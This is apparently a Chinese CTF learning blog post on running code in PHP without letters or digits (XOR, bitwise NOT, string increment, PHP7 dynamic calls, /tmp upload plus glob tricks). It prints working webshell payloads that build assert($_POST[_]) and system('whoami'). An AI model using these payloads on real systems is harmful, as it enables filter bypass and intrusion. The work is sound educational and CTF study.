无字母数字 RCE 的总结
前言
最近正在复习关于 无参RCE 以及 无字母RCE 相关的 CTF
题目, 之前也有做过类似的题目,但是都没有做总结,于是最近准备系统的对 CTFWeb
的知识点进行总结。
主要参考资料为 P神 2017 年发布的文章:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
问题1
1 |
|
如果把数字和字母都 ban 了我们该如何进行 RCE 呢?下面是 P神 的思考,x1ong 只是进行学习并做记录。
思路
首先我们明确思路,我们的核心目的就是不使用字母、数字,去构造诸如 assert
、system
函数的字符串,然后利用动态执行的方法进行调用。
动态调用:
1 |
|
到了 php7
版本之后,assert
不再是一个函数,而是一个语言结果(类似于 eval
),因此无法进行动态调用,但是我们可以动态 system()
等函数达到命令执行的效果或通过 file_put_contents()
等函数 getshell
。
以下实验以环境 php5.6.31
为例。
方法一 异或
在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。
得到如下的结果(因为其中存在很多不可打印字符,所以我用url编码表示了):
1 | // 如果直接在php中运行该代码请使用url_decode()函数对URL进行编码。 |
执行结果如下:
方法二 取反
方法而则使用的是 取反,该方法利用的是UTF-8编码的某个汉字,并将其中某个字符取出来。
例如:
可以看到,当我们对一个中文取反的话会返回大小写字母以及特殊字符,那么我们配合索引进行取值即可,帅
字在 UTF-8 编码中占用了3个字节,具体的UTF编码为: \xe5\xb8\x85
, php 将字符串视为字节数组,所以在PHP中可以将其看做是包含三个字节的数组。
使用 帅[1]
的结果是 \xb8
经过取反之后得到字母 G
。
具体取反过程如下:
- 先将十六进制
b8
转为二进制。 - 再将
b8
的二进制进行按位取反,0变成1,1变成0。 - 最后再将得到的二进制转为十进制与
ASCII
表中进行比对,最终找到字母G
。
我这里编写了一个脚本,用于获取某个字符:
1 |
|
脚本运行效果:
以上结果经过取反之后都能获取到字母 a
于是我们拼接出 assert
和 _POST
即可:
1 |
|
运行如下:
但是我们的 问题 由于禁止了数字,因此上述方法是行不通的,但是我们利用可以php弱类型的特性可以获取到我们想要的数字。
例如:
1 |
|
php弱类型的特性 true
的值为1,故而true+true=2
。于是就获取到了数字2。
最终的 PAYLOAD为:
1 |
|
1 | shell=$_=(">">"<");$__=(">">"<")%2b(">">"<");$___=(~'澞'[$__]).(~'猬'[$_]).(~'猬'[$_]).(~'湚'[$__]).(~'獬'[$_]).~('狴'[$_]);$____='_'.(~'溯'[$__]).(~'淰'[$__]).(~'沬'[$__]).(~'湫'[$__]);$_____=$$____;$___($_____[_]); |
执行效果:
请注意将+
进行URL编码。
当然初此之外,我们还可以构造 system
等函数达到命令执行的效果。
如:
1 |
|
注意: 在 PHP7版本中,'x1ong'[0]
和 'x1ong'{0}
所取到的值一致,而PHP5版本中,不支持第二种写法。
方法三 递增
自 PHP 8.3.0 起,上图功能已弃用。
也就是说,'a'++ => 'b'
,'b'++ => 'c'...
所以,我们只要能拿到一个变量,其值为a
,通过自增操作即可获得a-z
中所有字符。
注意: 递增递减运算符只能操作变量,不能操作字面量。
那么,如何拿到一个值为字符串 'a'
的变量呢?
数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为 Array :
再取这个字符串的第一个字母,就可以获得'A'
了。在PHP中函数名称是对大小写不敏感的。也就是说,<?php PhPInfO();?>
也能实现 phpinfo
函数的效果。
利用这个技巧,P神编写了如下 webshell
(因为PHP函数是大小写不敏感的,所以我们最终执行的是 ASSERT($_POST[_])
,无需获取小写a):。
1 |
|
执行效果:
1 | $_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]); |
由于存在+
符号,故而需要进行URL编码。
问题2
继续学习P神的文章: https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
他给出了示例代码:
1 |
|
在这种情况下,以上三种方法都行不通了,因为我们需要使用 $
、_
,而他们在本代码中都被 ban 了,同时也限制了传入 code
参数的长度。
PHP7下的问题解决
我们将上述代码放到 index.php
文件中,并运行如下命令启动 docker 环境:
1 | docker run -d -p 9090:80 -v `pwd`:/var/www/html/ php:7.2-apache |
在 PHP7 中修改了表达式的执行顺序:
https://www.php.net/manual/zh/migration70.incompatible.php
在 PHP7 之前是不允许使用 ('phpinfo')()
这种形式调用函数的,但是在 PHP7 中增加了对此的支持,所以我们可以通过 ('phpinfo')()
这种形式的写法来调用函数,第一个括号里面可以是任意PHP表达式,第二个括号则是该函数的参数。
如: 我们想利用动态调用的方法执行 system("whoami");
该如何去做呢?
1 |
|
构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload (不可见字符用url编码表示):
1 | (~%8f%97%8f%96%91%99%90%)(); |
生成脚本如下:
1 |
|
脚本原理:
- 将
phpinfo
的逐个字符进行取反运算 - 将
phpinfo
的逐个字符转为十六进制 - 在前面加上
%
即为 URL 编码。
利用时,再将其反转回来即可。
至于为什么加上%
就为 URL 编码了,就需要了解一下 URL 编码的原理,即:
将要发送的字符转换为其在 ASCII 表中的十六进制表示形式。在其前面加上%即为该字符的URL编码形式。
假设要执行 system('whoami');
,需要分别对 system
和 whoami
进行计算。
1 | ~(~%8c%86%8c%8b%9a%92)(~%88%97%90%9e%92%96); |
PHP5下的问题解决
分析
我们将上述代码放到 index.php
文件中,并运行如下命令启动 docker 环境:
1 | docker run -d -p 9090:80 -v `pwd`:/var/www/html/ php:5.6-apache |
这里摘抄一下P神的话:
“当思路禁锢在一个点的时候,你将会钻进牛角尖;当你用大局观来看待问题,问题就迎刃而解”。
在 PHP 程序中可以直接使用反引号来调用操作系统的 shell 来执行系统命令。如:
1 | <?php |
虽然会执行系统命令,但是默认情况下,只会执行并不会进行输出,于是需要我们使用 echo
语句进行输出。不过有些时候,我们只需要知道它执行了就可以了。
因为反引号不包含在被 ban 的字符: 字母、数字 $
、_
中,故而我们可以利用使用。
但是在没有数字和字母的情况下,如果想在 shell
中执行命令,也仍旧是一个难题,接下来,我们就需要知道两个知识点:
shell
下可以利用.
来执行任意脚本Linux
文件名支持用glob
通配符代替
准备一段 shell
脚本:
1 | !/bin/bash |
如果我们想在 shell 中执行该脚本有几种方法呢?在 x1ong 的认知中只有三种方法:
- 为其
chmod + x filename
添加执行权限,通过./filename
的形式执行。 - 使用
source
命令执行,通过source filename
的形式执行。 - 使用
.
执行,通过. filename
的形式执行。
当然使用第一种方法执行时,需要有 x
权限,而使用另外两种方法则是不需要有执行权限的。
那么我们该获得一个shell脚本(文件)呢?这种方法也很简单,我们只需要向任意PHP文件POST一个shell
文件即可,此时该文件会保存到临时目录下,我们使用 .
执行该文件即可。
第二个难题接踵而至,执行. /tmp/phpXXXXXX
,也是有字母的。此时就可以用到 Linux
下的 glob
通配符:
*
可以代替0
个及以上任意字符?
可以代表1
个任意字符
那么 /tmp/phpXXXXXX
就可以表示为 /*/?????????
或/???/?????????
吗?实际上不是,由于两者匹配的文件很多,系统产生了争议,从而报错,故而我们尽量让其最小化匹配。
在 Linux 文档中,除了 *
和 ?
通配符以外,还有其他的匹配符:
http://man7.org/linux/man-pages/man7/glob.7.html
这里值得注意的是,Linux 下的文件和文件夹大多数都为小写字母,而PHP接收的临时文件名中是包含大写字母的。
在 glob
中是支持[0-9]
这种写法的,那么我们是不是可以使用 [A-Z]
来匹配大写字母呢?很明显是可以的。
但是由于 ban 了大写字母,那么有没有什么方法可以表示一个范围呢?答案是有的,我们只需要查看 ASCII 表,找到大写字母的边界值即可。
通过上图可以看到,大写字母的边界值分别是 @
和 {
,故而我们使用 [@-{]
其实结果包含 [A-Z]
。
解决
编写HTML文件上传代码,将文件数据提交给服务器的PHP文件:
1 |
|
编写 shell 脚本执行 whoami
命令:
1 | #!/bin/bash |
上传 shell 脚本文件,并使用 burpsuite 抓取上传时的数据包,发到重发器中,并为其传入参数如下:
1 | code=`.+/???/????????[@-[]`; |
反引号只会执行系统命令,但并不会输出其结果,需要使用 echo
等打印语句进行输出,但是我们这里又不能传入字母,该如何利用呢?
在PHP中语句<?=123;?>
等同于 <?php echo 123;?>
,故而我们需要闭合前语句。开始后面的<?=123;?>
。
1 | code=?><?=`.+/???/????????[@-[]`;?> |
由于是匹配最后一个字符为大写字母,而PHP生成的临时文件并不是每次最后一位都是大写字母,故而需要多发几次。
成功执行命令。